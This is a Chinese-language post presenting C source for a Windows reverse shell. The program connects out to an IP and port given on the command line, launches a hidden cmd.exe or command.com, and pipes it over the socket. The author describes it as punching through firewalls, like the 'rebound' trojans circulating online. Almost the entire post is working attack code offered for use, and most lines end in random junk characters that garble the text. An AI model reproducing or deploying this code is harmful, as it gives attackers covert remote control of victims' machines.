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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 W"{:|'/v  
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/* ============================== !iNN6-v%  
Rebound port in Windows NT pr=f6~Z-y  
By wind,2006/7 /JqNiqvh  
===============================*/ >'eY/>n{  
#include j1 Ns|oph1  
#include (BT{\|,V_m  
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#pragma comment(lib,"wsock32.lib") 7>-"r*W +z  
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void OutputShell(); Th'B5:`  
SOCKET sClient; zfsGf 'U  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; =qJlSb  
No\3kRB4bi  
void main(int argc,char **argv) qUS y0SQ/l  
{ 4MFdhJoN  
WSADATA stWsaData; IPVD^a ?  
int nRet; Kggc9^ 7  
SOCKADDR_IN stSaiClient,stSaiServer; _c z$w5`  
s)A=hB-V  
if(argc != 3) -X]?ql*%`  
{ F.Sc2n@7-  
printf("Useage:\n\rRebound DestIP DestPort\n"); .or1*-B K  
return; fb=[gK#*,  
} ku3(cb!2  
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WSAStartup(MAKEWORD(2,2),&stWsaData); /bSAVSKR  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); *3!#W|#=]N  
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stSaiClient.sin_family = AF_INET; 9K:ICXm  
stSaiClient.sin_port = htons(0); x/d(" Bb  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); l-gNJ=l+K  
BJDSk#!J!{  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) #5 %\~ f  
{ FJ+n- \  
printf("Bind Socket Failed!\n"); G m~2s;/  
return; DtFzT>$^F  
} } %bP9  
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stSaiServer.sin_family = AF_INET; ?qmJJ5Gn  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); i)1013b  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); #xoFcjRE  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 8XG|K`'u  
{ k .#I ;7  
printf("Connect Error!"); j /)A<j$  
return; oc>N| ww:  
} FoW|BGA~  
OutputShell(); xbNL <3"a  
} "*T4%3dA  
C}=9m A  
void OutputShell() lD-HQd  
{ s#p\ r  
char szBuff[1024]; Qn!KL0w  
SECURITY_ATTRIBUTES stSecurityAttributes; khb/"VYd  
OSVERSIONINFO stOsversionInfo; t%fcp  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; (7*((  
STARTUPINFO stStartupInfo; haSC[[o=  
char *szShell; eJy}W /  
PROCESS_INFORMATION stProcessInformation; >4G~01  
unsigned long lBytesRead; Q3'L\_1L  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); <-(n48  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ([ODmZHv  
stSecurityAttributes.lpSecurityDescriptor = 0; h|{DIG3  
stSecurityAttributes.bInheritHandle = TRUE; hRI?>an  
=,J-D6J?  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 08qM?{z o^  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); VUUE2k;^  
9YvK<i&I  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); <i ";5+  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7?p>v34A  
stStartupInfo.wShowWindow = SW_HIDE; DmiZ"A  
stStartupInfo.hStdInput = hReadPipe; =`OnFdI  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Fql|0Fq  
l_i&8*=Px  
GetVersionEx(&stOsversionInfo); y[DS$>E  
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switch(stOsversionInfo.dwPlatformId) fA"9eUu  
{ ^u+#x2$Mg  
case 1: ~[Z,:=z  
szShell = "command.com"; mO0}Go8  
break; .YlhK=d4  
default: X<<FS%:+  
szShell = "cmd.exe"; $g!iy'4n*  
break; {:TOm0eK  
} \qkb8H  
560`R>  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); bWg!/K55  
:zQNnq:|  
send(sClient,szMsg,77,0); dfMi]rs!<  
while(1) Lk]W?  
{ <T`&NA@%~$  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ftaa~h*  
if(lBytesRead) )?<V-,D  
{ FyWrb+_0v  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); B&"c:)1 C2  
send(sClient,szBuff,lBytesRead,0); .W51Cup@&  
} ;$g?W"  
else Sv\399(  
{ )ml#2XP!f  
lBytesRead=recv(sClient,szBuff,1024,0); @y/!`Ziw  
if(lBytesRead<=0) break; 'B;n&tJ   
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Wg=qlux-  
} giHqc7-PaX  
} * zc[t  
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return; F13vc~$Ky  
}
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